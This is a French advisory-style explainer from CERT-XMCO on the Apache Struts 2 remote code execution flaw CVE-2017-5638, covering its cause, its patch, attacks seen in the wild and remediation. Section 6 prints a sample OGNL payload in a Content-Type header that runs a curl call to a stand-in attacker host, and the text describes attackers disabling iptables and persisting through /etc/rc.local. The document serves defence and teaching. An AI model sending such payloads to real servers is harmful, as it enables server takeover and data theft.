12 questions pour mieux comprendre la dernière faille Struts

Cet article porte sur la dernière vulnérabilité concernant Apache Struts 2. Cette faille critique, référencée CVE-2017-5638, s’exploite facilement et permet l’exécution de code arbitraire à distance. Cela peut conduire à d’importants dommages sur la machine d’une potentielle victime, allant du vol d’informations jusqu’à la prise de contrôle totale du système via une élévation de privilèges. Nous allons découvrir ensemble les détails de cette vulnérabilité au travers de plusieurs questions. Les exemples et les extraits de code présentés proviennent de la version 2.5.10 d’Apache Struts.

1. Comment a été découverte cette faille ?

Nike Zheng, expert sécurité chez DBAPPSecurity a récemment découvert une faille de sécurité au sein du Framework Apache Struts. Celle-ci est référencée S2-045 par Apache. Elle affecte les versions de Struts 2.3.5 à 2.3.31 et de 2.5 à 2.5.10. Cette vulnérabilité permet d’exécuter des commandes Java arbitraires à distance avec peu de prérequis. Elle est par ailleurs simple à exploiter, ce qui la rend particulièrement critique. Cette vulnérabilité a été rendue publique le 7 mars 2017.

2. Qu’est-ce que Apache Struts ?

Apache Struts est un framework libre et multiplateforme servant à la conception d’applications Web Java EE. Il utilise et étend l’API Servlet de Java (qui permet de créer dynamiquement des données au sein d’un serveur HTTP) afin d’encourager les développeurs à adopter l’architecture Modèle-Vue-Contrôleur (MVC).

Il existe à l’heure actuelle deux versions de ce framework. La première version Apache Struts 1 a été créée en mai 2000. La seconde et dernière version est Apache Struts 2 créée en 2006. Cette version n’est pas une simple extension d’Apache Struts 1, mais bel et bien un framework à part entière. Elle intègre de nouvelles fonctionnalités et des outils inédits par rapport à la première version, notamment un module de traitement des descriptifs d’erreur utilisant l’évaluation du langage OGNL (Objet Graph Navigation Language).

Le framework Struts repose sur d’autres composants comme Jakarta pour traiter certains types de requêtes. Ces éléments sont configurés au sein du fichier « default.properties » du framework Struts.

3. Qu’est-ce que Jakarta ?

Jakarta est avant tout un ensemble de projets de logiciels libres, écrits en langage Java, développés par la fondation Apache, et publiés sous licence Apache. La première version de Struts a fait partie du projet Jarkarta jusqu’en mars 2004.

Jakarta est un plugin du framework Struts 2. Il est entre autres utilisé, par défaut, en tant que parseur multipart, c’est-à-dire un analyseur syntaxique de requête HTTP de type multipart. Une requête multipart est une requête plus structurée qu’une requête POST conventionnelle ; elle permet notamment d’envoyer des fichiers ou des données de taille importante. Néanmoins, il existe d’autres analyseurs, comme le Pell’s multipart parser.

4. Qu’est-ce que le langage OGNL ?

Struts 2 utilise OGNL (Objet Graph Navigation Language) comme langage d’expression. Il permet d’évaluer des expressions ou chaînes de caractères pour interagir avec les objets ou instances Java. Ce langage offre une très grande souplesse d’accès aux objets ou aux propriétés du contexte.

Voici quelques exemples de code :

Déclaration d’une variable :

[java]variable = ‘string'[/java]

Référence aux objets dans ActionContext :

[java]#object_name[/java]

Exemple concret :

[java]String message_session = ‘%{« Ouverture session :  » + #session.user.username}'[/java]

]#session.user.username correspond donc à ActionContext.getContext().getSession().get(“username”)

Si on affiche la variable “message_session” :

[java]Ouverture session : root[/java]

Il existe des variables spéciales comme :

[java]#context, #_memberAccess, #root, #session, #request, #attr, #parameters, etc.[/java]

Exemple avec encodage :

Les 3 expressions suivantes sont équivalentes :

[java](‘u0023’ + ‘session[‘user’]’)(unused)=root
#session[‘user’]=root
ActionContext.getContext().getSession().put(“user”, “root”)[/java]

Usage du ‘%’ :

%{ OGNL expression } est utilisé pour forcer l’évaluation de l’OGNL d’un attribut.

[java]<s:property value= »maPropriété » default= »%{maValeurDynamique} » />[/java]

Usage du ‘@’ :

Le symbole @ est utilisé pour faire référence aux propriétés statiques et aux méthodes.

5. Quels sont les impacts liés à l’exploitation de la faille ?

L’exploitation de la vulnérabilité référencée CVE-2017-5638 permet d’exécuter du code OGNL. Or ce langage permet à un attaquant de manipuler des classes Java. Il peut ainsi exécuter ses propres commandes Java.

De ce fait, il est possible de modifier le comportement du programme vulnérable, d’envoyer des requêtes sur le réseau ou encore d’exécuter des commandes Shell. Un attaquant peut ainsi prendre totalement le contrôle d’un serveur implémentant une version vulnérable de Struts.

6. D’où provient la vulnérabilité ?

La vulnérabilité provient d’une mauvaise gestion des erreurs par Jakarta, survenant lors du traitement de requête dont le Content-Type est de type multipart.

La vulnérabilité peut être résumée en quelques étapes :

  • Le framework Struts détecte une requête HTTP de type multipart
  • La requête est traitée par Jakarta (configuration du parseur utilisé au sein des propriétés du framework).
  • En cas d’erreur survenant lors du traitement de la requête (Content-Type invalide par exemple), Jakarta insère alors le Content-Type au sein du message d’erreur, et communique ces informations à Struts.
  • Le framework Struts cherche à afficher un message pour expliquer à l’utilisateur la cause de l’erreur. Le framework utilise pour cela une fonctionnalité non sécurisée, appelée findText(), qui évalue tout contenu OGNL.

Si une charge utile (payload) est placée dans l’entête Content-Type, elle sera alors évaluée et donc exécutée. Voici un exemple de gestion d’une requête HTTP erronée. Supposons la requête suivante, notez l’ajout de “FOO” à la fin du Content-Type (non-respect du protocole):

GET /page.html HTTP/1.0
Host: example.com
Content-Type: multipart/form-dataFOO

Cas d’un scénario légitime de traitement d’une erreur de parsing multipart :

struts_legit_final

Représentation d’un scénario légitime de traitement d’une erreur de parsing multipart (source: XMCO)

Lorsque le serveur reçoit la requête, le framework Struts analyse l’entête Content-Type. Si le champ contient la sous-chaîne de caractère multipart/form-data, alors la requête est traitée par le parseur multipart de Jakarta (par défaut).

dispatcher.java
struts2/dispatcher/Dispatcher.java – wrapRequest()

Jakarta analyse la requête et s’arrête, car la chaîne de caractères “FOO” à la fin du Content-Type ne respecte pas le protocole HTTP. Une exception de type InvalidContentTypeException est levée avec comme message de description :

The request doesn't contains a multipart/form-data or multipart/mixed stream, content type header is multipart/form-dataFOO.

On retrouve donc le contenu de l’entête Content-Typedans le message d’erreur.

Chaque message d’erreur est ensuite analysé par une fonction qui recherche les balises %{…} pour les évaluer. Ce comportement est normal et sert notamment à remplacer d’éventuelles variables par leurs valeurs.

Exemple:

Error in object user whose name is %{“#user.name.toUpper()“}

devient:

Error in object user whose name is ROOT

Le message d’erreur est finalement envoyé dans les logs du programme.

Cas d’un scénario d’exploitation :

Vous l’aurez donc compris, l’exploitation de cette vulnérabilité nécessite d’envoyer une requête HTTP dont le contenu du champ Content-Type répond à certaines conditions :

  • Contient la sous chaîne de caractère multipart/form-data (en vert)
  • Contient une charge utile interprétable selon la syntaxe OGNL (entre les balises en orange)
  • Provoque une erreur de parsing, soit par une longueur dépassant les limites du protocole HTTP, soit par des caractères non autorisés

L’attaquant pourrait donc envoyer la requête suivante :

GET /page.html HTTP/1.0
Host: example.com
Content-Type:
%{(#abc='multipart/form-data').
(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
(#context.setMemberAccess(#dm)).
(@java.lang.Runtime@getRuntime().
exec('curl http://SERVEUR_DE_L'ATTAQUANT'))}

Le schéma ci-dessous représente le flux d’exécution de la charge utile de l’attaquant :

struts_exploit_final
Représentation du flux d’exécution (source: XMCO)

Le champ Content-Type contient bien la sous-chaîne de caractère multipart/form-data, car la charge utile contient une déclaration de variable en OGNL #abc=’multipart/form-data’. La requête est donc envoyée au parseur vulnérable.

Tout comme dans l’exemple précédent, le Content-Type ne respecte pas le protocole HTTP. Une exception de type InvalidContentTypeException est levée avec la charge utile contenue dans le message d’erreur.

Le contenu des balises %{…}est évalué en OGNL, le code Java correspondant est donc exécuté.

De plus, une variante de cette attaque a été détectée le 20 mars 2017. Cette dernière consiste à générer à nouveau une erreur lors du parsing d’une requête HTTP multipart, via la bibliothèque Jakarta. En effet, il est possible de définir dans l’entête Content-Length  une valeur supérieure à 2GB. Au-delà de cette taille de fichier, le parseur va générer une erreur et construire un message associé à celle-ci. Lors de la construction de ce message, la valeur “filename”, également présente dans l’entête de la requête envoyée, va être interprétée en OGNL à l’aide de la même méthode originale.

Cette variante permet elle aussi de forcer un serveur vulnérable à exécuter des commandes Java arbitraires à distance.

Par ailleurs, l’utilisation d’une charge utile plus évoluée permet à un attaquant d’exécuter des commandes, quel que soit le système d’exploitation cible (Windows, Linux, etc.). Le retour de ces commandes peut également être envoyé à l’attaquant en redirigeant la sortie des commandes dans le flux de réponse.

7. Comment la vulnérabilité a-t-elle été corrigée ?

Afin d’analyser le correctif, nous avons réalisé une comparaison du code entre les versions 2.5.10 (vulnérable) et 2.5.10.1 (non vulnérable), via Github. En regardant les commits, nous pouvons observer que des modifications ont été apportées sur le fichier « FileUploadInterceptor.java« . Ce dernier permet le traitement des requêtes d’envoi de fichiers.

Nous avons ainsi pu observer que les développeurs de Struts ont retiré l’exécution de la méthode ]findText() dans ce commit. Cette dernière est appelée dans le cas où une erreur de parsing d’une requête HTTP est détectée. Le fait de ne plus utiliser cette méthode permet d’empêcher l’évaluation d’expressions OGNL présentes dans le champ Content-Typede l’entête HTTP, qui est évalué en cas d’erreur.

L’appel de cette méthode est par ailleurs remplacé par l’utilisation d’un objet TextProvider et de sa méthode getText(). Cette méthode permet de récupérer un message d’erreur en se basant sur une clef donnée. Dans notre cas, la clef reçue par cette dernière est la suivante: struts.messages.upload.error.InvalidContentTypeException. De ce fait, les développeurs de Struts ont été en mesure d’éviter l’évaluation de code OGNL, qui pourrait être présent au sein du champ Content-Type, tout en conservant la construction d’un message d’erreur.

Cette correction permet de détecter correctement la réception d’un entête avec un Content-Type incorrect, de l’enregistrer dans les logs de l’application Struts et de retourner la page à l’utilisateur, sans en interpréter le contenu.

8. La faille est-elle facilement exploitable ? Des codes d’exploitation sont-ils disponibles ?

L’exploitation de cette vulnérabilité reste simple à mettre en place. En effet, il est uniquement nécessaire d’envoyer une requête HTTP spécialement conçue vers une URL hébergeant du contenu développé à l’aide d’une version vulnérable de Struts. Cette opération ne requiert donc pas d’utilisation d’outil particulier.

Différents codes d’exploitations ont cependant fait leur apparition. Ces scripts développés en Ruby (module Metasploit) et Python, implémentent la création et l’envoi de la requête HTTP malveillante, puis en récupère le résultat. Il suffit donc à l’utilisateur de fournir au script l’URL ciblée et la commande Shell à exécuter.

Les scripts sont accessibles aux adresses suivantes :

Il est également possible de réaliser cette attaque avec tout type d’outil permettant l’envoi de requête HTTP tel que la commande curl.

Cependant, bien que cette vulnérabilité soit simple à exploiter, la découverte de pages développées via une version vulnérable de Struts ne l’est pas. En effet, une application Struts se doit d’être hébergée sur un serveur dit d’application (par exemple Tomcat) afin de pouvoir y exécuter une application Java EE. Il se peut donc que plusieurs applications soient présentes sur un serveur web, sans qu’elles aient été développées avec le framework Struts. Cela signifie qu’en exécutant le code d’exploitation de la vulnérabilité sur une URL, par exemple http://127.0.0.1, nous ne pourrons pas trouver une potentielle application vulnérable accessible à l’adresse : http://127.0.0.1/applications/pageDeMonApplicationStrutsVulnerable.

Par conséquent, une détection des applications web vulnérables à grande échelle requiert de pouvoir parcourir les différentes pages de chaque serveur web, en exécutant le code d’exploitation. Ce type de scénario d’attaque nécessite du temps ainsi que des ressources importantes.

Par ailleurs, il reste envisageable pour un attaquant ciblant un site en particulier d’obtenir des résultats plus rapides dans le cas où ce dernier a déjà une vision d’ensemble des différentes pages présentes sur ce site.

9. Suis-je affecté par la vulnérabilité ?

Vous êtes affectés par la vulnérabilité si vous possédez une application web Java EE s’appuyant sur le framework Apache Struts dans ses versions de 2.3.5 à 2.3.31 et de 2.5 à 2.5.10.

Par ailleurs, il n’est pas nécessaire que l’application implémente une fonctionnalité d’upload de fichier pour que la vulnérabilité soit exploitable. Seule la présence de Jakarta au sein de Struts suffit pour exploiter la vulnérabilité ; ce qui est souvent le cas puisque le parseur de Jakarta est utilisé par défaut par Struts.

10. Des attaques ont-elles été perpétrées ?

Pour faire suite à la mise en ligne de la preuve de concept (Proof-of-Concept), Imperva, une société fournissant des solutions de sécurité telle qu’un WAF (Web Application Firewall), a pu relever plusieurs milliers de tentatives d’exploitation de cette faille (environ 12 000 en l’espace de 6 jours) sur les sites de ses différents clients. De plus, le gouvernement canadien a confirmé le 13 mars dernier plusieurs intrusions au sein de leurs serveurs, via l’exploitation de cette vulnérabilité.

Ces attaques avaient pour objectif de tester chaque IP publique, à l’aide de script d’exploitation, afin de déterminer si une machine était vulnérable ou non. En effet, le scénario type d’une de ces attaques consistait en l’exécution d’une commande “whoami” via le code d’exploitation. Cette commande permettait d’afficher le nom de l’utilisateur sur le serveur distant et d’en retourner l’affichage à l’attaquant, afin de lui notifier que la machine était vulnérable et si tel était le cas, de connaître le niveau de privilège de l’utilisateur.

exploit
Requête HTTP exploitant la CVE-2017-5638 (source: XMCO)

Dans le cas où cette commande était correctement exécutée, les attaquants ont été en mesure de désactiver les protections mises en place sur ces serveurs, puis de télécharger et enfin d’exécuter un autre code malveillant afin de compromettre la machine. Cette partie de l’attaque se faisait en exécutant, toujours via le code d’exploitation, plusieurs commandes désactivant notamment le service iptables, utilisé comme pare-feu par les serveurs Linux.

De plus, l’ajout de commandes, tel que la désactivation du pare-feu et l’exécution de code malveillant, étaient ajoutées dans le fichier « /etc/rc.local » celui-ci étant exécuté à chaque redémarrage.

Il reste cependant complexe de pouvoir quantifier de manière fiable le nombre réel d’attaques ayant impacté les serveurs vulnérables. Par ailleurs, la mise en place de l’attaque étant simple et le code d’exploitation accessible fait que ces attaques sont de grande ampleur.

struts2_exploit_statistics
Représentation du flux d’exécution (source: XMCO)

11. Comment se protéger contre l’exploitation de cette faille ?

Il suffit de redéployer les applications s’appuyant sur une version du framework Struts affectée en utilisant au sein du code une version de Struts non vulnérable :

  • Apache Struts v2.3.32
  • Apache Struts v2.5.11

Ces versions sont disponibles sur le site de l’éditeur : http://struts.apache.org/download.cgi

Un plugin a été également mis à disposition par Apache afin de corriger la vulnérabilité sans avoir à installer une nouvelle version de Struts. De plus, le plugin et sa procédure d’installation sont disponibles à l’adresse suivante : https://github.com/apache/struts-extras.

Par ailleurs, il existe plusieurs solutions de contournement :

Il est cependant fortement recommandé d’installer les mises à jour Struts fournies par l’éditeur.

12. Dois-je appliquer les correctifs en urgence ?

Si votre version d’Apache Struts 2 est vulnérable, oui. Le correctif doit être appliqué le plus rapidement possible, d’autant plus si votre serveur est exposé sur Internet. En effet, l’exploitation d’une telle vulnérabilité est particulièrement simple et les codes d’exploitation disponibles publiquement sont nombreux. La vulnérabilité pourrait permettre à un attaquant distant de prendre le contrôle de votre système, impactant la disponibilité, l’intégrité et la confidentialité de celui-ci.

CERT-XMCO

Découvrir d'autres articles